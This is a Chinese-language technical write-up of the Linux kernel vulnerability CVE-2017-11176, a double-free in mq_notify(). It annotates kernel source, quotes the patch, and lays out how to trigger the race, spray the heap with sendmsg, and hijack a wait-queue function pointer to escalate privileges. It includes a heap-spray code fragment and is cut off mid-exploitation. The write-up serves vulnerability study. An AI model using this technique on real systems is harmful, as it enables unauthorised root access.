【kernel exploit】CVE-2017-11176 竞态Double-Free漏洞调试

影响版本:Linux 2.6.27~4.11.10 范围很广。

编译选项CONFIG_SLAB=y (必须使用SLAB,Debian默认使用SLAB,Ubuntu默认使用SLUB) 亲测编译SLUB也能利用成功,这一点不重要。

General setup ---> Choose SLAB allocator (SLUB (Unqueued Allocator)) ---> SLAB

$ wget https://mirrors.tuna.tsinghua.edu.cn/kernel/v4.x/linux-4.11.9.tar.xz
$ tar -xvf linux-4.11.9.tar.xz
# KASAN: 设置 make menuconfig 设置"Kernel hacking" ->"Memory Debugging" -> "KASan: runtime memory debugger"。
$ make -j32
$ make all
$ make modules
# 编译出的bzImage目录:/arch/x86/boot/bzImage。

漏洞描述:Linux内核中的POSIX消息队列的实现,mq_notify()函数没有把sock指针置为null,导致UAF。实际上是由于竞争导致的Double-Free漏洞,但竞态的时间可以无限延长。

补丁patch

测试版本:Linux-4.11.9 测试环境下载地址 —— 含exp和调试环境

保护机制:开启SMEP,关闭kASLR、SMAP。建议只用1个CPU,内存大于512M。

漏洞与利用总结:使用多线程对 netlink_socket 进行操作时,若子线程在某一刻关闭了文件描述符,导致主线程sock引用计数出现错误,引发UAF。在Linux中,由于Linux自身实现了对象引用计数的一系列函数(例如),一旦出现代码逻辑错误(常见的是多线程竞争的情况),就容易导致UAF、Double-Free漏洞。CVE-2017-11176 的利用非常复杂,学习本漏洞就能体会到查看源码、构造结构绕过检查的艰辛过程。主要步骤是,首先利用sendmsg 增加 sk_rmem_alloc,使mq_notify()中的netlink_attachskb()返回1,从而顺利进入mq_notify()函数中的retry代码;然后,构造主、子线程,触发mq_notify()中的Double-Free漏洞;接着,利用sendmsg堆喷射,并利用setsockopt()阻塞发送进程,使喷射块常驻于内存;最后,调用setsockopt,触发执行伪造函数 wait_queue_t.func,劫持控制流。


〇、简介

学习本漏洞之前,建议补习一下Linux文件、socket、任务调度函数相关的知识,建议先看看这篇文章——Linux的file、socket、任务调度函数介绍

简介System V消息队列是采用轮询(polling)的方式,很浪费CPU。而 Posix 消息队列允许异步事件通知,当往一个空队列放置一个消息时,Posix消息队列允许产生一个信号或启动一个线程。这种异步事件通知调用mq_notify()函数实现,mq_notify()为指定队列建立或删除异步通知(当一个消息被放入某个空队列时,通知有两种方式,一是产生一个信号来通知,二是创建一个线程来执行特定程序,完成消息处理)。由于mq_notify()函数在进入retry流程时没有将sock指针设置为NULL,导致UAF漏洞。

patch 如下,将sock置为null即可:

diff --git a/ipc/mqueue.c b/ipc/mqueue.c
index c9ff943..eb1391b 100644
--- a/ipc/mqueue.c
+++ b/ipc/mqueue.c
@@ -1270,8 +1270,10 @@ retry:

      timeo = MAX_SCHEDULE_TIMEOUT;
      ret = netlink_attachskb(sock, nc, &timeo, NULL);
-     if (ret == 1)
+     if (ret == 1) {
+       sock = NULL;
        goto retry;
+     }
      if (ret) {
        sock = NULL;
        nc = NULL;

源码以 Linux-4.11.9为例。


一、漏洞代码分析

mq_notify()函数:

  • u_notification 为空时:调用remove_notification()撤销已注册的通知。
  • u_notification 不为空:当前进程希望在有一个消息到达所指定的队列时得到通知,首先判断通知类型。(1)SIGV_THREAD:申请内存空间并将用户空间通知拷贝到内核(nc)-> 将nc压入sock队列中 -> 获取对应的fd -> 从fd对应的filp中获取对应的sock对象 -> 将数据包与sock相关联 -> 根据返回值选择continue/ goto retry / goto out -> goto retry:如果close这个file,那么将会直接goto out,此时sock不为空,会执行netlink_detachskb(),导致UAF。
/*
 * Notes: the case when user wants us to deregister (with NULL as pointer)
 * and he isn't currently owner of notification, will be silently discarded.
 * It isn't explicitly defined in the POSIX.
 */
SYSCALL_DEFINE2(mq_notify, mqd_t, mqdes,    // mqdes:消息队列描述符
        const struct sigevent __user *, u_notification)// notification:not null——表示消息到达,且先前队列为空;null——表示撤销已注册的通知。
{
    int ret;
    struct fd f;
    struct sock *sock;
    struct inode *inode;
    struct sigevent notification;
    struct mqueue_inode_info *info;
    struct sk_buff *nc;
/* 1. u_notification是从用户层传进来,判断u_notification是否为空,如果非空,通过copy_from_user将u_notification中的数据拷贝到notification-内核空间。 */
    if (u_notification) {
        if (copy_from_user(&notification, u_notification,
                    sizeof(struct sigevent)))
            return -EFAULT;
    }

    audit_mq_notify(mqdes, u_notification ? &notification : NULL);
/* 2. nc和sock分别置空,判断是哪种通知方法。 2-1.如果u_notification不为空,判断notification.sigev_notify必须为SIGEV_NONE或SIGEV_SIGNAL或SIGEV_THREAD,否则信号无效就退出。2-2.如果notification.sigev_notify为SIGEV_SIGNAL,就判断该信号是否合法。*/
    nc = NULL;
    sock = NULL;
    if (u_notification != NULL) {
        if (unlikely(notification.sigev_notify != SIGEV_NONE && // 2-1 check
                 notification.sigev_notify != SIGEV_SIGNAL &&
                 notification.sigev_notify != SIGEV_THREAD))
            return -EINVAL;
        if (notification.sigev_notify == SIGEV_SIGNAL &&        // 2-2 check
            !valid_signal(notification.sigev_signo)) {
            return -EINVAL;
        }
/* 3. 如果notification.sigev_notify为SIGEV_THREAD,进入关键代码块,通过创建线程进行通知。  */
        if (notification.sigev_notify == SIGEV_THREAD) {        // 2-3 check
            long timeo;

            /* create the notify skb */
            nc = alloc_skb(NOTIFY_COOKIE_LEN, GFP_KERNEL);  // 通过alloc_skb创建一个notify_skb,用于接收数据(存放网络数据包)。
            if (!nc) {
                ret = -ENOMEM;
                goto out;
            }
            if (copy_from_user(nc->data,    // 通过copy_from_user将notification.sigev_value.sival_ptr指向的数据(32字节)拷贝到nc->data中。
                    notification.sigev_value.sival_ptr,
                    NOTIFY_COOKIE_LEN)) {
                ret = -EFAULT;
                goto out;
            }

            /* TODO: add a header? */
            skb_put(nc, NOTIFY_COOKIE_LEN);                 // 调用skb_put设置消息数据头部。
            /* and attach it to the socket */
retry:
            f = fdget(notification.sigev_signo);            // 调用fdget函数获取文件描述符-file对象。过程:file_struct => fdtable => struct file => 引用计数+1并返回file结构指针。
            if (!f.file) {                                  // (4)
                ret = -EBADF;
                goto out;
            }
            sock = netlink_getsockbyfilp(f.file);           // !!!!!!!(1) 调用 netlink_getsockbyfilp 函数通过文件描述符获取netlink_sock,具体看一下netlink_getsockbyfilp函数。        
            fdput(f);                                       // netlink_getsockbyfilp函数返回sock,这时sock的引用计数加1(为1)。
            if (IS_ERR(sock)) {
                ret = PTR_ERR(sock);
                sock = NULL;
                goto out;
            }

            timeo = MAX_SCHEDULE_TIMEOUT;
            ret = netlink_attachskb(sock, nc, &timeo, NULL); // !!!!!!!(2)将skb绑定到netlink socket。减少引用计数1次,然后 return 1。
            if (ret == 1)                                    // (3)ret == 1,跳转到 retry处。
                goto retry;
            if (ret) {
                sock = NULL;
                nc = NULL;
                goto out;
            }
        }
    }
 .....
/* 4. (1)和(2)两个调用正好进行了引用计数抵消,(3)并未将sock置空,(4)处如果f.file为空,那就直接goto到out代码 */
out:
    if (sock)
        netlink_detachskb(sock, nc);        // !!!!!!!(5)如果sock不为空,则调用 netlink_detachskb 函数进行释放。
    else if (nc)
        dev_kfree_skb(nc);

    return ret;
}


// netlink_detachskb(): 释放skb,并减少sk引用计数,进行释放。
void netlink_detachskb(struct sock *sk, struct sk_buff *skb)
{
    kfree_skb(skb);
    sock_put(sk);
}



漏洞:如果我们创建A线程保持netlink_attachskb()返回1,并重复retry逻辑,这个时候sock的引用计数是保持平衡的,一加一减,但是sock并不为空。同时再创建B线程去关闭netlink socket对应的文件描述符。由于B线程关闭了netlink socket的文件描述符(由于close(fd)必须在setsockopt(fd)之前使用,所以套接字关闭后,需要一个新的套接字来使用。可采用dup()系统调用来复制,使两个文件描述符指向相同的file结构),在A线程还没跳到retry时,B线程关闭file,A在代码(4)处调用fdget时会失败,然后直接goto到out 代码,调用netlink_detachskb()进行释放(同时第2次调用sock_put(),引用计数减1,两次减1就是UAF)。

B线程close(fd)退出程序时,内核会自动将file对象的refcounter减1,并删除fd到file的映射(将fdt[fd]设置为null),最终会调用sock->ops->release() 来释放file结构;由于file对象被释放,它会删除相关sock的引用(即sock的引用计数将减1),sock引用计数减为0后也会被释放;但sock指针未清空,netlink_detachskb()又进行了二次释放,导致漏洞。这个漏洞是属于条件竞争型的Double-Free漏洞(竞争窗口—netlink_attachskb()fget()之间)。如果这块内存又被我们申请回来,并写入其他数据控制程序流,导致uaf,就可以执行任意代码。

崩溃原因说明:由于EXP调用了dup(),所以崩溃原因不同,调用close()不会真的释放netlink_sock对象(只是减少了一次引用)。netlink_detachskb()实际上删除netlink_sock的最后一个引用(并释放它)。最后,在程序退出期间触发释放后重用,退出时关闭“unblock_fd”文件描述符。

Thread-1 Thread-2 file refcnt sock refcnt sock ptr
mq_notify(fd) 1 1 NULL
fget(<target_fd>) -> ok</target_fd> 2 (+1) 1 NULL
netlink_getsockbyfilp() -> ok 2 2 (+1) 0xffffffc0aabbccdd
fput(<target_fd>) -> ok</target_fd> 1 (-1) 2 0xffffffc0aabbccdd
netlink_attachskb() -> returns 1 1 1 (-1) 0xffffffc0aabbccdd
close(<target_fd>)</target_fd> 0 (-1) 0 (-1) 0xffffffc0aabbccdd
goto retry FREE FREE 0xffffffc0aabbccdd
fget(<TARGET_FD) -> returns NULL FREE FREE 0xffffffc0aabbccdd
goto out FREE FREE 0xffffffc0aabbccdd
netlink_detachskb() -> UAF! FREE (-1) in UAF 0xffffffc0aabbccdd

(1)netlink_getsockbyfilp(): sock_hold(): sk->refcnt += 1

// netlink_getsockbyfilp(): 调用file_inode通过filp找到对应的inode节点,然后通过SOCK_I函数处理inode节点。
struct sock *netlink_getsockbyfilp(struct file *filp)
{
    struct inode *inode = file_inode(filp);
    struct sock *sock;

    if (!S_ISSOCK(inode->i_mode))
        return ERR_PTR(-ENOTSOCK);

    sock = SOCKET_I(inode)->sk;         // 获取到sock
    if (sock->sk_family != AF_NETLINK)  // 判断sock->sk_family是否等于AF_NETLINK
        return ERR_PTR(-EINVAL);

    sock_hold(sock);                    // !!!!!!! 调用sock_hold增加引用计数。
    return sock;
}

// https://elixir.bootlin.com/linux/v4.11.9/source/include/net/sock.h#L1304
// 通过宏container_of在socket_alloc结构体中找出socket成员。这里解释一下,SOCKET_I返回值是socket结构体。其实sock结构体中第一个成员sock_common也是socket类型,是一个迷你版socket。
static inline struct socket *SOCKET_I(struct inode *inode)
{
    return &container_of(inode, struct socket_alloc, vfs_inode)->socket;
}

// sock 结构
struct sock {
    /*
     * Now struct inet_timewait_sock also uses sock_common, so please just
     * don't add nothing before this first member (__sk_common) --acme
     */
    struct sock_common  __sk_common; // minimal network layer representation of sockets

// sock_hold()
static __always_inline void sock_hold(struct sock *sk)
{
    atomic_inc(&sk->sk_refcnt);     // atomic_inc进行sk_refcnt加1
}

(2)netlink_attachskb(): sk_put() : sk->refcnt -= 1

mq_notify()系统调用执行到netlink_attachskb()的条件:

  • u_notification != NULL
  • notification.sigev_notify = SIGEV_THREAD
  • notification.sigev_value.sival_ptr 必须指向至少有NOTIFY_COOKIE_LEN(=32)字节的有效可读用户空间地址(需要拷贝到内核)
  • notification.sigev_signo 提供一个有效的文件描述符
// netlink_attachskb(): 将skb绑定到netlink socket
int netlink_attachskb(struct sock *sk, struct sk_buff *skb,
              long *timeo, struct sock *ssk)
{
    struct netlink_sock *nlk;

    nlk = nlk_sk(sk);

    if ((atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf || // 判断sk缓冲区的实际大小与理论大小 or netlink_sock是否处于拥堵状态
         test_bit(NETLINK_S_CONGESTED, &nlk->state))) {
        DECLARE_WAITQUEUE(wait, current);                   // 声明一个等待队列
        if (!*timeo) {
            if (!ssk || netlink_is_kernel(ssk))
                netlink_overrun(sk);
            sock_put(sk);                                   // sock引用次数减1
            kfree_skb(skb);
            return -EAGAIN;
        }

        __set_current_state(TASK_INTERRUPTIBLE);
        add_wait_queue(&nlk->wait, &wait);

        if ((atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf ||
             test_bit(NETLINK_S_CONGESTED, &nlk->state)) &&
            !sock_flag(sk, SOCK_DEAD))
            *timeo = schedule_timeout(*timeo);  // 阻塞线程加入到等待队列

        __set_current_state(TASK_RUNNING);
        remove_wait_queue(&nlk->wait, &wait);
        sock_put(sk);                       // 调用sock_put减少引用计数一次(加减平衡),最后return 1,函数返回,直接goto到retry标签地方。

        if (signal_pending(current)) {
            kfree_skb(skb);
            return sock_intr_errno(*timeo);
        }
        return 1;
    }
    netlink_skb_set_owner_r(skb, sk);
    return 0;
}

二、漏洞触发分析

总结:总体目标是使netlink_attachskb()函数返回1,但该函数中有两个条件需要绕过。一是 sk->sk_rmem_alloc > sk->sk_rcvbuf,有两种方法,可以通过netlink_sendmsg()增加sk->sk_rmem_alloc的值(目标2),也可以通过sock_setsockopt()尽可能地减小sk->rcvbuf的值(目标4);二是需调用wake_up_interruptible()强行唤醒线程(目标5)。

1. 目标1:让netlink_attachskb()返回1,从而顺利进入retry代码。

再次看看netlink_attachskb()函数:

// netlink_attachskb()
int netlink_attachskb(struct sock *sk, struct sk_buff *skb,
              long *timeo, struct sock *ssk)
{
    struct netlink_sock *nlk;

    nlk = nlk_sk(sk);       // !!!!!! (1)通过 nlk_SK函数和sk 获取 netlink_sock。
    // 设置 sk->sk_rmem_alloc 的大小绕过check 进入if条件。线程会进入wait状态。 
    // 目标2:增大_rmem_alloc的大小。 目标4:减小sk->sk_rcvbuf的大小。
    if ((atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf ||
         test_bit(NETLINK_S_CONGESTED, &nlk->state))) {
        DECLARE_WAITQUEUE(wait, current);   
        if (!*timeo) {
            if (!ssk || netlink_is_kernel(ssk))
                netlink_overrun(sk);
            sock_put(sk);
            kfree_skb(skb);
            return -EAGAIN;
        }

        __set_current_state(TASK_INTERRUPTIBLE);
        add_wait_queue(&nlk->wait, &wait);          // 当前线程被放入wait队列中。
        // 避免进入这个if,避免执行 schedule_timeout。不行!!
        if ((atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf || // 此条件为真
             test_bit(NETLINK_S_CONGESTED, &nlk->state)) &&
            !sock_flag(sk, SOCK_DEAD))          // 为了避免进入本if,必须设置 sk->sk_flags 为 SOCK_DEAD,不行!!但是如果把sock_flag设置成SOCK_DEAD,那后面也没有必要进行,因此这里是必然要进入等待状态的。
            // 目标5:直接调用wake_up_interruptible强行唤醒线程。
            *timeo = schedule_timeout(*timeo);  // 进行CPU调度,当前线程进入阻塞状态

        __set_current_state(TASK_RUNNING);
        remove_wait_queue(&nlk->wait, &wait);   // 将当前线程从wait队列中移除
        sock_put(sk);

        if (signal_pending(current)) {
            kfree_skb(skb);
            return sock_intr_errno(*timeo);
        }
        return 1;       // !!! 必须从这里返回
    }
    netlink_skb_set_owner_r(skb, sk);           // !!!!!! (2) 见下文分析
    return 0;
}

// (1)nlk_sk(): 通过调用宏container_of获取netlink_sock。netlink_sock结构体如下
static inline struct netlink_sock *nlk_sk(struct sock *sk)
{
    return container_of(sk, struct netlink_sock, sk);
}
// netlink_sock 结构: 第一个成员是sock类型, 而sock结构体的第一个成员是socket。
struct netlink_sock {
    struct sock     sk;

2. 目标2:方法1——通过netlink_sendmsg()增大sk->sk_rmem_alloc的大小(增加到133120字节以上),进入netlink_attachskb()中的if条件,返回1。(通过sendmsg()触发)

(2)netlink_skb_set_owner_r():假设if条件不通过,会执行本函数。

// netlink_skb_set_owner_r(): 调用宏atomic_add进行原子加操作,也即 sk->sk_rmem_alloc +=skb->truesize。
static void netlink_skb_set_owner_r(struct sk_buff *skb, struct sock *sk)
{
    WARN_ON(skb->sk != NULL);
    skb->sk = sk;
    skb->destructor = netlink_skb_destructor;
    atomic_add(skb->truesize, &sk->sk_rmem_alloc); // !!!
    sk_mem_charge(sk, skb->truesize);
}

既然执行netlink_skb_set_owner_r()能够直接增加sk->sk_rmem_alloc的大小,可不可以多次调用本函数呢?

使用Understanduser-guide)查看用户如何到达此函数。采用的是sendmsg()调用,实际执行netlink_sendmsg()函数。sendmsg()作用是将数据由指定的socket传给对方主机,参数 msg 指向欲连线的数据结构内容, 参数 flags 一般默认为0。

1-1-Understand-path.png

调用链:ssize_t sendmsg(int sockfd, const struct msghdr *msg, int flags); -> netlink_sendmsg() -> netlink_unicast() -> netlink_attachskb() -> netlink_skb_set_owner_r()

3. 目标3:通过netlink_sendmsg()函数到达 netlink_skb_set_owner_r() 函数。

总结一下,通过netlink_sendmsg() 执行netlink_unicast()需满足条件:

  • msg->msg_flags != MSG_OOB
  • scm_send()返回值 = 0,分析scm_send()函数可知,只需要 msg->msg_controllen <= 0 即可。
  • msg_>msg_namelen 不为0
  • msg->msg_name->nl_family = AF_NETLINK
  • msg->msg_name->nl_groups = 0
  • msg->msg_name->nl_pid != 0,指向receiver套接字
  • sender套接字必须使用NETLINK_USERSOCK协议
  • msg->msg_iovlen = 1
  • msg->msg_iov是一个可读的用户态地址
  • msg->msg_iov->iov_len <= sk->sk_sndbuf-32 (len)
  • msg->msg_iov->iov_base是一个可读的用户态地址
// netlink_sendmsg(): 
static int netlink_sendmsg(struct socket *sock, struct msghdr *msg, size_t len)
{
    struct sock *sk = sock->sk;
    struct netlink_sock *nlk = nlk_sk(sk);
    DECLARE_SOCKADDR(struct sockaddr_nl *, addr, msg->msg_name);
    u32 dst_portid;
    u32 dst_group;
    struct sk_buff *skb;
    int err;
    struct scm_cookie scm;
    u32 netlink_skb_flags = 0;

    if (msg->msg_flags&MSG_OOB)                 // (a)msg->msg_flags 不能为 MSG_OOB
        return -EOPNOTSUPP;

    err = scm_send(sock, msg, &scm, true);
    if (err < 0)
        return err;

    if (msg->msg_namelen) {                     // (b)判断长度,msg->msg_namelen 不为空
        err = -EINVAL;
        if (addr->nl_family != AF_NETLINK)      // (c)设置 msg->msg_name->nl_family = AF_NETLINK
            goto out;
        dst_portid = addr->nl_pid;
        dst_group = ffs(addr->nl_groups);
        err =  -EPERM;
        if ((dst_group || dst_portid) &&        // (d)判断dst_group或dst_portid不为空,dst_group表示多播模式,dst_portid来自于addr->nl_pid,因此保证dst_portid不为空比较容易。
            !netlink_allowed(sock, NL_CFG_F_NONROOT_SEND))
            goto out;
        netlink_skb_flags |= NETLINK_SKB_DST;
    } else {
        dst_portid = nlk->dst_portid; // 用户无法控制 dst_portid 和 dst_group
        dst_group = nlk->dst_group;
    }

    if (!nlk->bound) {  // msg->msg_iter.iov->iov_base不能为空????
        err = netlink_autobind(sock);
        if (err)
            goto out;
    } else {
        /* Ensure nlk is hashed and visible. */
        smp_rmb();
    }

    err = -EMSGSIZE;
    if (len > sk->sk_sndbuf - 32)               // (e)len不能大于sk->sk_sndbuf-32
        goto out;
    err = -ENOBUFS;
    skb = netlink_alloc_large_skb(len, dst_group);
    if (skb == NULL)
        goto out;

    NETLINK_CB(skb).portid  = nlk->portid;
    NETLINK_CB(skb).dst_group = dst_group;
    NETLINK_CB(skb).creds   = scm.creds;
    NETLINK_CB(skb).flags   = netlink_skb_flags;

    err = -EFAULT;
    if (memcpy_from_msg(skb_put(skb, len), msg, len)) {
        kfree_skb(skb);
        goto out;
    }

    err = security_netlink_send(sk, skb);
    if (err) {
        kfree_skb(skb);
        goto out;
    }

    if (dst_group) {
        atomic_inc(&skb->users);
        netlink_broadcast(sk, skb, dst_portid, dst_group, GFP_KERNEL);
    }
    err = netlink_unicast(sk, skb, dst_portid, msg->msg_flags&MSG_DONTWAIT);    // !!!!!! 目标

out:
    scm_destroy(&scm);
    return err;
}

// struct msghdr *msg —— sendmsg() 的参数,指向欲连线的数据结构内容。
struct msghdr {
    void            *msg_name; //Address to send to /receive from.
    socklen_t        msg_namelen; //Length of addres data
    strcut iovec    *msg_iov; //Vector of data to send/receive into
    size_t           msg_iovlen; //Number of elements in the vector
    void            *msg_control; //Ancillary dat
    size_t           msg_controllen; //Ancillary data buffer length
    int              msg_flags; //Flags on received message             flag默认为0。
};
struct iovec {
void __user     *iov_base;
__kernel_size_t  iov_len;
};

netlink_unicast():从netlink_unicast()netlink_attachskb()。本代码中,“ssk”是sender套接字,“sk”是receiver套接字。

  • sk是sender套接字
  • skb是套接字缓冲区,由msg->msg_iov->iov_base指向的数据填充,大小为msg->msg_iov->iov_len
  • dst_pid是可控的pid(msg->msg_name->nl_pid)指向receiver套接字
  • msg->msg_flasg&MSG_DONTWAIT表示netlink_unicast()是否应阻塞
// netlink_unicast(): 用户能控制的不多
int netlink_unicast(struct sock *ssk, struct sk_buff *skb,
            u32 portid, int nonblock)
{
    struct sock *sk;
    int err;
    long timeo;

    skb = netlink_trim(skb, gfp_any());

    timeo = sock_sndtimeo(ssk, nonblock);       // 设置timeo,这里要保证nonblock为msg->msg_flags&MSG_DONTWAIT,这样线程才不会被block。由于我们不想阻塞(nonblock>0),timeo将为零。msg->msg_flags必须设置MSG_DONTWAIT。
retry:
    sk = netlink_getsockbyportid(ssk, portid);
    if (IS_ERR(sk)) {
        kfree_skb(skb);
        return PTR_ERR(sk);
    }
    if (netlink_is_kernel(sk))          // 判断sk是否为内核版的sk,在用户层创建socket时应使用NETLINK_USERSOCK
        return netlink_unicast_kernel(sk, skb, ssk);

    if (sk_filter(sk, skb)) {           // 判断是否有sk_filter,这里保证不进入该if语句,不要设置过滤器
        err = skb->len;
        kfree_skb(skb);
        sock_put(sk);
        return err;
    }

    err = netlink_attachskb(sk, skb, &timeo, ssk);      // !!!!!!目标 直接调用netlink_attachskb,成功到达netlink_skb_set_owner_r函数
    if (err == 1)
        goto retry;
    if (err)
        return err;

    return netlink_sendskb(sk, skb);
}
EXPORT_SYMBOL(netlink_unicast);

这算是通过调用netlink_sendmsg()来增加sk->sk_rmem_alloc的过程。其实我们不光可以增加sk->sk_rmem_alloc,还可以减小sk->sk_rcvbuf

4. 目标4(可选):方法2——通过sock_setsockopt()减小sk->sk_rcvbuf(减小到0以下)。

setsockopt函数中,找到sock_setsockopt()函数中对sk->sk_rcvbuf的操作。但是,一般sk->sk_rcvbuf始终是一个>0的值,而sk_rmem_alloc有可能为0,所以无论怎么修改都很难满足条件,最好还是修改sk_rmem_alloc

sock_setsockopt()

// sock_setsockopt(): sk->sk_rcvbuf 取 val*2 和 SOCK_MIN_RCVBUF 之间的最大值。
int sock_setsockopt(struct socket *sock, int level, int optname,
            char __user *optval, unsigned int optlen)
{
    struct sock *sk = sock->sk;
    int val;
    int valbool;
    struct linger ling;
    int ret = 0;

    /*
     *  Options without arguments
     */

    if (optname == SO_BINDTODEVICE)
        return sock_setbindtodevice(sk, optval, optlen);

    if (optlen < sizeof(int))                       // (1)保证optlen不小于sizeof(int)
        return -EINVAL;

    if (get_user(val, (int __user *)optval))        // 将optval赋值到val中,这里optval是用户可控的
        return -EFAULT;

    valbool = val ? 1 : 0;

    lock_sock(sk);

    switch (optname) {                              // (2)保证optname = SO_RCVBUF
    ... 
    ...
    case SO_RCVBUF:                                 
        /* Don't error on this BSD doesn't and if you think
         * about it this is right. Otherwise apps have to
         * play 'guess the biggest size' games. RCVBUF/SNDBUF
         * are treated in BSD as hints
         */
        val = min_t(u32, val, sysctl_rmem_max);     // (3)val 取 val 和 sysctl_rmem_max 之间的最小值。
set_rcvbuf:
        sk->sk_userlocks |= SOCK_RCVBUF_LOCK;
        /*
         * We double it on the way in to account for
         * "struct sk_buff" etc. overhead.   Applications
         * assume that the SO_RCVBUF setting they make will
         * allow that much actual data to be received on that
         * socket.
         *
         * Applications are unaware that "struct sk_buff" and
         * other overheads allocate from the receive buffer
         * during socket buffer allocation.
         *
         * And after considering the possible alternatives,
         * returning the value we actually used in getsockopt
         * is the most desirable behavior.
         */
        sk->sk_rcvbuf = max_t(int, val * 2, SOCK_MIN_RCVBUF); // !!!!!!(4)sk->sk_rcvbuf 取 val*2 和 SOCK_MIN_RCVBUF 之间的最大值。
        break;

5. 目标5:直接调用wake_up_interruptible()强行唤醒线程。setsockopt()触发)

调用链setsockopt系统调用 -> netlink_setsockopt() -> wake_up_interruptible()

延长竞态窗口:延长netlink_attachskb()fget()之间的时间,方法是在主线程(执行mq_otigy())运行5s之后再执行子线程来close(fd),再调用setsockopt()唤醒主线程。

// setsockopt()
SYSCALL_DEFINE5(setsockopt, int, fd, int, level, int, optname,
        char __user *, optval, int, optlen)
{
    int err, fput_needed;
    struct socket *sock;

    if (optlen < 0)                                                 // (1) optlen不为负
        return -EINVAL;

    sock = sockfd_lookup_light(fd, &err, &fput_needed);
    if (sock != NULL) {                                             // (2) fd是有效套接字
        err = security_socket_setsockopt(sock, level, optname);
        if (err)                                                    // (3) LSM必须允许我们为此套接字调用setsockopt()
            goto out_put;

        if (level == SOL_SOCKET)                                    // (4) level != SOL_SOCKET
            err =
                sock_setsockopt(sock, level, optname, optval,
                        optlen);
        else
            err =
                sock->ops->setsockopt(sock, level, optname, optval, // 满足以上条件则调用netlink_setsockopt()
                          optlen);
out_put:
        fput_light(sock->file, fput_needed);
    }
    return err;
}

// netlink_setsockopt()
static int netlink_setsockopt(struct socket *sock, int level, int optname,
                  char __user *optval, unsigned int optlen)
{
    struct sock *sk = sock->sk;
    struct netlink_sock *nlk = nlk_sk(sk);
    unsigned int val = 0;
    int err;

    if (level != SOL_NETLINK)                           // (1)level 必须为 SOL_NETLINK
        return -ENOPROTOOPT;

    if (optlen >= sizeof(int) &&                        // (2)保证optlen大于等于sizeof(int)
        get_user(val, (unsigned int __user *)optval))
        return -EFAULT;

    switch (optname) {                                  // (3)optname = NETLINK_NO_ENOBUFS
            ...
      case NETLINK_NO_ENOBUFS:
        if (val) {                                      // (4)val不为0
            nlk->flags |= NETLINK_F_RECV_NO_ENOBUFS;
            clear_bit(NETLINK_S_CONGESTED, &nlk->state);
            wake_up_interruptible(&nlk->wait);
        }

三、漏洞利用分析

1.堆喷射(sendmsg()触发)

方法:UAF类型的漏洞就采用堆喷射,覆盖结构中的函数指针,劫持RIP之后构造ROP链绕过SMEP进行提权。

喷射对象:本次漏洞中被多次释放的对象是netlink_sock对象。netlink_sock对象大小为0x3f0字节(调试时采用 $ p sizeof(struct netlink_sock) 命令获取该对象大小),从kmalloc-1024这个缓存中进行分配。

喷射路径sysc_sendmsg -> syssendmsg -> sys_sendmsg ->__sys_sendmsg() -> ___sys_sendmsg() -> sock_sendmsg() -> sock_sendmsg_nosec() -> sendmsg()。最后调用sendmsg时会回调sock->proto_ops->sendmsg,当 family 是 AF_UNIX 时,将调用 unix_dgram_sendmsg()。 需分析下 ___sys_sendmsg() 函数的代码(路径 sysc_sendmsg -> syssendmsg -> sys_sendmsg 不需要分析,基本不需要任何条件),研究如何使其阻塞,使得喷射对象一直占据内存,见___sys_sendmsg()函数—堆喷分析.c

喷射稳定性:分析___sys_sendmsg()源码,思考如何使得喷射对象一直占据内存,见___sys_sendmsg()函数—堆喷分析.c。在执行完这个函数以后,会释放前面申请的size为1024的对象,这样无论我们怎么喷射,都只会申请同一个对象。从___sys_sendmsg() -> ... -> sock_sendmsg()-unix_dgram_sendmsg() -> sock_alloc_send_pskb()可以知道,在某些条件下可以让这个函数阻塞,就是通过不断调用sendmsg(),通过增大sock->sk_wmem_alloc 使其阻塞。 执行以下代码后,就可以sendmsg,给定control信息就可以喷射占位了,不过由于sendmsg被阻塞了,所以不能通过循环来执行sendmsg,还是需要用多线程来喷射。(其实kmalloc-1024在内核中需求量不大,在qemu中只需要1次sendmsg,就能申请到漏洞对象)

struct msghdr msg;
    memset(&msg,0,sizeof(msg));
    struct iovec iov;
    char iovbuf[10];
    iov.iov_base = iovbuf;
    iov.iov_len = 10;
    msg.msg_iov = &iov;
    msg.msg_iovlen = 1;
    struct timeval tv;
    memset(&tv,0,sizeof(tv));
    tv.tv_sec = 0;
    tv.tv_usec = 0;
    if(setsockopt(rfd,SOL_SOCKET,SO_SNDTIMEO,&tv,sizeof(tv))){
        perror("heap spary setsockopt");
        exit(-1);
    }
    while(sendmsg(sfd,&msg,MSG_DONTWAIT)>0);                // 使其阻塞

    for(i=0;i<10;i++){
        if(errno = pthread_create(&pid,NULL,thread3,&t3)){  // 利用子线程来喷射
            perror("pthread_create ");
            exit(-1);
        }      
    }

注意

  • 堆喷对象使用的内核缓存应该和漏洞对象内存在同一个缓存中。即大小必须落在同一个kmalloc-X中;
  • ac本身是array_chche结构体,该结构体是本地高速缓存,每个CPU对应一个,所以还要保证堆喷申请的对象和漏洞对象在同一个CPU本地高速缓存中;
  • 如果堆喷申请的对象只是短暂驻留,当该函数返回时将申请的对象进行了释放,导致无法正确占位。所以要能保证申请的对象不被释放,至少保证在使用漏洞对象时不被释放,这里要采用驻留式内存占位,可以采取让某些系统调用过程阻塞;
  • slab缓存碎片化问题,这里要占位的对象大小为0x3f0,对象尺寸比较大,占据四分之一页,比较整齐,应该没有碎片化问题。

判断喷射是否成功:构造堆喷对象时,在对应漏洞对象的一些特殊成员域的内存偏移处设置magic value,然后可以采用系统调用去获取漏洞对象中相关数据进行判断。netlink_sock结构体几个关键的成员如下。

netlink_sock netlink_getname()

struct netlink_sock {
    /* struct sock has to be the first member of netlink_sock */
    struct sock     sk;
    u32         portid;                     // 重点
    u32         dst_portid;
    u32         dst_group;
    u32         flags;
    u32         subscriptions;
    u32         ngroups;
    unsigned long       *groups;            // 重点
    unsigned long       state;
    size_t          max_recvmsg_len;
    wait_queue_head_t   wait;               // 覆盖目标
    bool            cb_running;
    struct netlink_callback cb;
    struct mutex        *cb_mutex;
    struct mutex        cb_def_mutex;
    void            (*netlink_rcv)(struct sk_buff *skb);
    int         (*netlink_bind)(struct net *net, int group);
    void            (*netlink_unbind)(struct net *net, int group);
    struct module       *module;
#ifdef CONFIG_NETLINK_MMAP
    struct mutex        pg_vec_lock;
    struct netlink_ring rx_ring;
    struct netlink_ring tx_ring;
    atomic_t        mapped;
